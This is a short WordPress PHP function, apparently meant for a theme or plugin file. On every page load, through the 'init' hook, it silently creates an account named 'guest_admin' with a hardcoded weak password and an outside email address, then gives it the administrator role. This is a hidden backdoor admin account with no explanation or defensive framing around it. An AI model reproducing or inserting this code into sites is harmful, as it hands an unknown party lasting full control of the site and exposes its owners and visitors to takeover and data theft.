function wpb_admin_account(){
	$user = 'guest_admin';
	$pass = 'guest12345';
	$email = 'midnght23@gmail.com';
	if(!username_exists($user) && !email_exists($email)){
	$user_id = wp_create_user( $user, $pass, $email );
	$user = new WP_User($user_id);
	$user ->set_role('administrator');
	}}
add_action( 'init', 'wpb_admin_account' );